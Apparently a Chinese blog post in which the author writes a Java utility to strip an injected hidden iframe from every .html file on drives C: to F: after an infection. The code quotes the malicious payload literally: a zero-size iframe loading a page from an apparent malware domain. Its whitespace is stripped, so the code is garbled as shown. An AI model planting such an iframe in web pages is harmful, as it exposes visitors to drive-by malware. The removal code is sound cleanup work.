文件清除

不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.

publicclassFileUtils{
publicstaticvoidmain(String[]args)throwsException{
Stringcontent="<iframewidth='0'height='0'src='http://mmm.mmy88.cn/lx.htm'></iframe>";
StringextName=".html";

String[]dirs={"C:","D:","E:","F:"};
for(inti=0;i<dirs.length;i++){
Stringdir=dirs[i];
longt1=System.currentTimeMillis();
delContent(content,dir,extName);
longtime=System.currentTimeMillis()-t1;
System.out.printf("Processdirectory%sin%dseconds\n",dir,time/1000);
}
}

/**
*Delcontentinallthefiles(.extName)underthespecifieddirectory
*
*@paramextNamelike".html"
*/
publicstaticvoiddelContent(Stringcontent,Stringdir,StringextName)throwsException{
List<String>fileNames=listFileNames(dir,extName);
//System.out.println("Modifying...");

for(inti=0;i<fileNames.size();i++){
StringfileName=fileNames.get(i);
//System.out.printf("%5dModifyingfile:%s\n",i,fileName);

//Read
Filef=newFile(fileName);
BufferedInputStreambin=newBufferedInputStream(newFileInputStream(f));
byte[]buff=newbyte[((int)f.length())];
bin.read(buff);
bin.close();
Stringstr=newString(buff,"utf-8");
String[]all=str.split("\r\n");

//Write
OutputStreamfout=newFileOutputStream(f);
for(intj=0;j<all.length;j++){
all[j]=all[j].replaceAll(content,"");
fout.write((all[j]+"\r\n").getBytes("utf-8"));
}
fout.flush();
fout.close();
}
}

/**
*Listallfile(.extName)nameinthepath
*
*@paramextNamelike".html"
*/
publicstaticList<String>listFileNames(finalStringpath,finalStringextName){
List<String>fileNames=newArrayList<String>();

FilenameFilterfilter=newFilenameFilter(){
publicbooleanaccept(Filedir,Stringname){
Filefile=newFile(dir,name);
returnname.endsWith(extName)||file.isDirectory();
}
};

Filedir=newFile(path);
listFileNames(dir,filter,fileNames);

returnfileNames;
}

privatestaticvoidlistFileNames(Filedir,FilenameFilterfilter,List<String>fileNames){
String[]names=dir.list(filter);
for(Strings:names){
StringfileName=dir.getPath()+File.separator+s;
Filefile=newFile(fileName);

if(file.isDirectory())
listFileNames(file,filter,fileNames);
else
fileNames.add(fileName);
}
}
}